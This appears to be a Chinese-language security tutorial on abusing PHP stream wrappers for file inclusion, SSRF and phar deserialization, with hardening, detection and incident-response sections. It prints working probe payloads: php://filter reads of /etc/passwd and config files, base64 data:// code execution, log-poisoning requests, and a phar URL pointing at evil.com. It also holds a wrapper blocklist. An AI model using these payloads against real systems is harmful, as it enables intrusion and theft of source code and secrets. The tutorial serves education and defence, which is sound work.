1. PHP伪协议基础与常见类型解析
PHP伪协议(PHP Wrapper)是PHP内置的一套特殊URL封装协议,它允许开发者以类似文件系统操作的方式访问各类输入/输出流。这些协议在开发中提供了极大便利,但同时也成为攻击者利用的重要入口点。我们先从最基础的php://协议族开始拆解:
1.1 php://filter的运作机制
php://filter是实际渗透测试中最常被滥用的伪协议,其核心功能是对数据流进行多层过滤处理。它的标准语法结构如下:
php://filter/[read=|write=]<filter1>/<filter2>/.../<filtern>/resource=<目标资源>其中过滤器链的设计尤为关键。例如当执行:
file_get_contents('php://filter/read=convert.base64-encode/resource=config.php')这个调用会触发以下处理流程:
- 读取config.php文件原始内容
- 经过convert.base64-encode过滤器处理
- 返回Base64编码后的结果
攻击者经常利用这个特性绕过安全限制,特别是在文件包含漏洞中。我曾在一个审计案例中发现,开发者虽然禁止了../这样的目录穿越,却忽略了通过base64编码直接读取源码的途径。
1.2 php://input的输入流特性
这个协议提供了访问原始POST数据的能力。在CLI模式下它读取标准输入,在Web环境下则获取HTTP请求体。一个典型的危险示例如下:
// vulnerable.php $data = file_get_contents('php://input'); eval($data);当攻击者发送POST请求体为<?php system('id');?>时,就会形成远程代码执行。在2018年某CMS的RCE漏洞中,正是这个特性被用来绕过过滤规则。
1.3 data://协议的编码陷阱
data协议允许直接在URL中嵌入数据,其标准格式为:
data:[<MIME-type>][;base64],<data>看似无害的功能却暗藏杀机。例如:
include('data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOw==');这段代码会解码执行<?php system('id');?>。我在代码审计时发现,很多开发者会检查include的文件后缀,却对data协议毫无防备。
1.4 其他高危协议补充
- zip:// 可解压读取压缩包内文件,曾用于绕过上传限制
- phar:// 能触发phar反序列化,是近年来的高危攻击向量
- expect:// 直接执行系统命令(需开启expect扩展)
重要提示:在PHP 5.6+版本中,data://和php://input默认只能在allow_url_include开启时使用,但现实中有大量旧系统仍运行在宽松配置下。
2. 伪协议引发的典型漏洞场景
2.1 文件包含漏洞的升级利用
传统文件包含漏洞通常需要上传恶意文件,但结合伪协议可以实现"无文件攻击"。去年某框架的漏洞利用链如下:
/include.php?file=php://filter/convert.iconv.utf-8.utf-16/resource=upload.php通过字符集转换过滤器,攻击者能够使原始PHP代码被错误解析,从而泄露源码。这种手法比直接包含更隐蔽,常规WAF往往难以检测。
2.2 SSRF攻击的增强版
伪协议极大扩展了SSRF的攻击面。在某金融系统渗透测试中,我们利用:
file_get_contents('php://filter/read=convert.base64-encode/resource=http://internal/api/keys')成功读取了内网API密钥。更危险的是,phar://还能与远程URL结合(如phar://http://evil.com/exploit.phar),触发反序列化漏洞。
2.3 反序列化漏洞的跳板
phar://协议会自动解析phar文件的元数据,这个过程会触发反序列化操作。一个真实案例的利用过程:
- 上传恶意构造的phar文件(伪装成图片)
- 通过文件操作函数触发解析:
file_exists('phar://uploads/evil.jpg') - 触发预设的__destruct或__wakeup方法中的恶意代码
2.4 日志污染与LFI组合拳
在Apache/Nginx日志可读的情况下,攻击流程通常是:
- 发送包含PHP代码的请求使日志被污染
GET /<?php phpinfo();?> HTTP/1.1 - 通过伪协议包含日志文件
include('php://filter/read=string.rot13/resource=/var/log/apache2/access.log');
使用过滤器是为了绕过日志中的字符转义。去年某企业SRC报告显示,这种手法的成功率高达67%。
3. 防御策略的多层部署方案
3.1 基础配置加固
在php.ini中必须设置:
allow_url_fopen = Off allow_url_include = Off register_globals = Off auto_prepend_file = auto_append_file =但仅这样还不够,我在实际渗透中经常遇到配置被.htaccess或运行时修改的情况。建议额外添加:
ini_set('allow_url_include', '0'); ini_set('allow_url_fopen', '0');3.2 输入过滤的精准防御
对于文件包含操作,应采用白名单校验:
$allowed = [ 'home' => '/views/home.php', 'about' => '/views/about.php' ]; if(isset($_GET['page']) && array_key_exists($_GET['page'], $allowed)) { include(__DIR__ . $allowed[$_GET['page']]); } else { include(__DIR__ . '/views/404.php'); }对于必须处理动态路径的场景,建议使用realpath配合校验:
$basePath = '/var/www/html/uploads/'; $userPath = realpath($basePath . $_GET['file']); if($userPath && strpos($userPath, $basePath) === 0) { // 安全处理逻辑 }3.3 过滤器的深度防御
在代码层面对伪协议进行识别拦截:
function is_malicious_path($path) { $blacklist = ['php://', 'data://', 'expect://', 'phar://']; foreach($blacklist as $proto) { if(strpos($path, $proto) !== false) { return true; } } return false; }更安全的做法是使用PHP的流包装器检测API:
$wrappers = stream_get_wrappers(); if(in_array('phar', $wrappers)) { stream_wrapper_unregister('phar'); }3.4 运维层面的防护措施
- 定期更新PHP版本(至少保持5.6以上)
- 使用open_basedir限制文件访问范围
open_basedir = /var/www/html/:/tmp/ - 配置Web服务器禁止访问日志目录
location /var/log/nginx/ { deny all; } - 对上传目录设置noexec权限
chown www-data:www-data uploads/ chmod 755 uploads/ mount -o bind,noexec /var/www/html/uploads /var/www/html/uploads
4. 实战检测与应急响应
4.1 漏洞检测方法论
我常用的伪协议漏洞检测流程如下:
基础探测(URL参数测试):
?file=php://filter/resource=/etc/passwd ?page=data://text/plain,<?php phpinfo();?>编码绕过测试:
?file=php://filter/convert.base64-encode/resource=index.php ?file=php://filter/string.rot13/resource=config.php过滤器链组合测试:
?file=php://filter/convert.iconv.utf-8.utf-16/resource=admin.phpPhar反序列化测试:
// 生成测试phar文件 $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->setMetadata(['key' => new DangerousClass()]); $phar->stopBuffering();
4.2 入侵痕迹排查要点
当怀疑系统被伪协议攻击时,重点检查:
PHP错误日志中的异常包含操作
grep -r "include\|require" /var/log/php_errors.logWeb访问日志中的特殊请求
awk '$7 ~ /php:/{print $0}' access.log临时目录中的可疑文件
find /tmp -name "*.phar" -o -name "*.data"进程监控中的异常PHP解释器调用
ps aux | grep php | grep -v www-data
4.3 应急响应步骤
确认攻击后的标准处置流程:
- 立即隔离服务器(网络层面)
- 备份当前环境(内存dump、磁盘快照)
- 分析攻击入口点(检查所有文件包含操作)
- 清除Webshell(注意检查以下位置):
- .htaccess文件
- session目录
- 图片上传目录
- PHP的auto_prepend_file配置
- 修复漏洞后进行全面安全加固
在一次实际应急中,攻击者通过phar://触发反序列化后,在/tmp目录留下了多个.so动态库文件,这些都是需要重点检查的位置。